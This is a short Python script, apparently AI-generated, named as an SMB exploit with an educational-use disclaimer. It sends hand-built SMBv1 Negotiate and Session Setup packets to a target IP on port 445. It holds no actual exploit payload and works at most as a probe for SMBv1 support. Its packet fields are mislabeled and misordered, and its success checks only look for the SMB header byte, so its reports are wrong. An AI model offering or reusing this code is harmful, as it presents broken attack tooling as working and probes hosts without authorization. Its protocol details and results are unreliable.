smb_exploit.py

# ai designed!
# This tool is intended for educational purposes and authorized security testing only. Unauthorized access to systems is illegal and unethical. Always obtain permission before testing any systems.
# Bu araç eğitim amaçlı ve yetkilendirilmiş güvenlik testleri için tasarlanmıştır. İzin almadan sistemlere erişim yasa dışıdır ve etik dışıdır. Her zaman sistemleri test etmeden önce izin alın.

import socket
import struct
import argparse
import logging
import os

logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s')

def smb_negotiate_protocol_request(ip, port):
    smb_negotiate_protocol_request_packet = (
        b"\x00\x00\x00\x85"  # Message size
        b"\xff\x53\x4d\x42"  # Server Component: SMB
        b"\x72"              # SMB Command: Negotiate Protocol
        b"\x00\x00\x00\x00"  # NT Status
        b"\x18"              # Flags
        b"\x01\x28"          # Flags2
        b"\x00\x00"          # PID High
        b"\x00\x00\x00\x00"  # Security Features
        b"\x00\x00"          # Reserved
        b"\x00\x00"          # TID
        b"\x00\x00"          # PID Low
        b"\x2f\x4b"          # UID
        b"\x00\x00"          # MID
        b"\x00\x00\x00\x00"  # Word Count
        b"\x0c"              # Byte Count
        b"\x02\x4c\x41\x4e"  # Dialect
        b"\x4d\x41\x4e\x31"  # Dialect
        b"\x2e\x30\x00"      # Dialect
        b"\x02\x4c\x4d\x31"  # Dialect
        b"\x2e\x32\x58\x30"  # Dialect
        b"\x30\x32\x00"      # Dialect
    )

    logging.info("Sending SMB Negotiate Protocol Request")
    try:
        conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        conn.connect((ip, port))
        conn.send(smb_negotiate_protocol_request_packet)
        response = conn.recv(1024)
        conn.close()

        if response[4] == 0xff:
            logging.info(f"{ip}:{port} - SMBv1 supported")
            return True
        else:
            logging.info(f"{ip}:{port} - SMBv1 not supported")
            return False
    except Exception as e:
        logging.error(f"Error: {e}")
        return False

def smb_session_setup_andx_request(ip, port):
    smb_session_setup_andx_request_packet = (
        b"\x00\x00\x00\x63"  # Message size
        b"\xff\x53\x4d\x42"  # Server Component: SMB
        b"\x73"              # SMB Command: Session Setup AndX
        b"\x00\x00\x00\x00"  # NT Status
        b"\x18"              # Flags
        b"\x01\x20"          # Flags2
        b"\x00\x00"          # PID High
        b"\x00\x00\x00\x00"  # Security Features
        b"\x00\x00"          # Reserved
        b"\x00\x00"          # TID
        b"\x00\x00"          # PID Low
        b"\x2f\x4b"          # UID
        b"\x00\x00"          # MID
        b"\x0d"              # Word Count
        b"\xff"              # AndX Command
        b"\x00"              # Reserved
        b"\x00\x00"          # AndX Offset
        b"\xdf\xff"          # Max Buffer
        b"\x02\x00"          # Max Mpx Count
        b"\x01\x00"          # VC Number
        b"\x00\x00\x00\x00"  # Session Key
        b"\x00\x00\x00\x00"  # Reserved
        b"\x40\x00\x00\x00"  # Capabilities
        b"\x26\x00"          # Byte Count
        b"\x00"              # Account
        b"\x00"              # Primary Domain
        b"\x00"              # Native OS
        b"\x00"              # Native LAN Manager
    )

    logging.info("Sending SMB Session Setup AndX Request")
    try:
        conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        conn.connect((ip, port))
        conn.send(smb_session_setup_andx_request_packet)
        response = conn.recv(1024)
        conn.close()

        if response[4] == 0xff:
            logging.info(f"{ip}:{port} - Session Setup successful")
            return True
        else:
            logging.info(f"{ip}:{port} - Session Setup failed")
            return False
    except Exception as e:
        logging.error(f"Error: {e}")
        return False

def main():
    parser = argparse.ArgumentParser(prog="smb_exploit", description="smb exploit ai designed [options]")
    parser.add_argument("target_ip", help="Target IP address")
    parser.add_argument("-p", "--port", type=int, default=445, help="Target port (default: 445)")
    parser.add_argument("--exploit", action="store_true", help="Send exploit")

    args = parser.parse_args()
    target_ip = args.target_ip
    port = args.port
    exploit = args.exploit
    
    if smb_negotiate_protocol_request(target_ip, port):
        if exploit:
            smb_session_setup_andx_request(target_ip, port)

if __name__ == "__main__":
    main()